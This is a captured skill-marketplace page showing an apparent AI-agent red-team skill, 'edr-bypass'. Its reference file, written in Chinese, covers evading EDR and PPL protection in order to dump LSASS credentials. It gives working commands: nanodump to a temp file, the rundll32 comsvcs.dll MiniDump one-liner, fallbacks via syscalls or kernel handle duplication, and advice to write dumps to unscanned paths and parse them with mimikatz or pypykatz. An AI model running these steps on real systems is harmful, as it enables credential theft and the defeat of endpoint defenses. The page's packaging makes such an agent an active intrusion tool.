Skip to content

pale-knight/redteam-skill / skills/edr-bypass

edr-bypass

Verified

Endpoint defense evasion after an operator-selected chain already has a valid execution path but AV/EDR/AMSI/WDAC/PPL/memory/kernel telemetry blocks the intended action. Originating modules include /web-attack /ad-attack /cloud-attack /k8s /cicd /service-attack /phishing /privesc-win /privesc-linux /creds /post /shell. Success is the blocked action becoming executable, then resume the originating module — not obtaining a shell here.

references/credential-access-evasion.md

View on GitHub
# Credential Access 的端点绕过

“拿到什么 hash/ticket”属于 `/creds`。本文件只解决:**dump/读 LSASS/SAM 的动作被 PPL/EDR/句柄保护拦住**。

成功:原来的 dump 现在能出文件。然后回原模块或交给操作者选 `/creds`。

---

## 1. 先确认拦的是哪一层

```powershell
Get-Process lsass
# OpenProcess 失败 / 0x5 → PPL 或 EDR 句柄保护
# dump 写出后立刻被删 → 落地扫描 → static-payload.md
# 进程一碰 lsass 就被杀 → 行为规则 → 换间接 dump / 内核句柄
```

```text
RunAsPPL / PPL-WinTcb
EDR mini-filter on lsass handles
Defender Credential Guard(LSASS 里没有明文可 dump)
```

Credential Guard 开着时,用户态 LSASS dump **拿不到** 被隔离的机密。这不是 EDR bypass 能解决的,记下来交给 `/creds` 走其他材料(SSP、票据、DPAPI)。

---

## 2. nanodump / 间接 dump

```text
# 公开:github.com/fortra/nanodump
# 用 syscall + 少打开 lsass 的方式写 dump
nanodump.exe -w C:\Windows\Temp\lsass.dmp
```

写出路径尽量用原 Attack 模块已经能写的地方。被拦就改:

```text
写到未扫描目录 / 命名管道 / 不落地直接解析
fork lsass 再 dump 子进程(某些版本)
```

---

## 3. comsvcs MiniDump(高噪声,靶场仍常用)

```cmd
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\Temp\lsass.dmp full
```

现代 EDR 几乎必拦。能过就过;不过立刻换 nanodump/syscall,不要反复打这条。

---

## 4. PPL

用户态 OpenProcess(lsass) 被拒:

```text
用已有 SYSTEM + 能绕 PPL 的工具(nanodump 的 PPL 选项,以当前 -h 为准)
或 kernel 句柄复制(kernel-edr.md,高影响)
```

不要为了 dump 无脑 BYOVD。先试用户态间接 dump。

---

## 5. 成功

```text
After: dump 文件存在且 pypykatz/mimikatz 能解析
Restore: 删除 dump
Resume: /creds 或原 Attack 模块继续横向
```
writing-skillsobra/superpowersUse when creating new skills, editing existing skills, or verifying skills work before deploymentStars: 322kUpdated Claude CodeCodexVerifiedInstall
xlsxanthropics/skillsUse this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path — even casually (like "the xlsx in my downloads") — and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved.Stars: 198kUpdated Claude CodeCodexVerifiedInstall
shipping-and-launchaddyosmani/agent-skillsPrepares production launches. Use when preparing to deploy to production, or when asking what needs to be in place before shipping. Use when you need a pre-launch checklist, when setting up monitoring, when planning a staged rollout, or when you need a rollback strategy.Stars: 119kUpdated Claude CodeCodexVerifiedInstall
childhoodthedotmack/claude-memBabysit a shipped release after merge, publication, or deployment. Verify published packages, production behavior, installed plugins, and late CI or user reports until the observation window is clean; use babysit for PR readiness before release.Stars: 118kUpdated Claude CodeCodexVerifiedInstall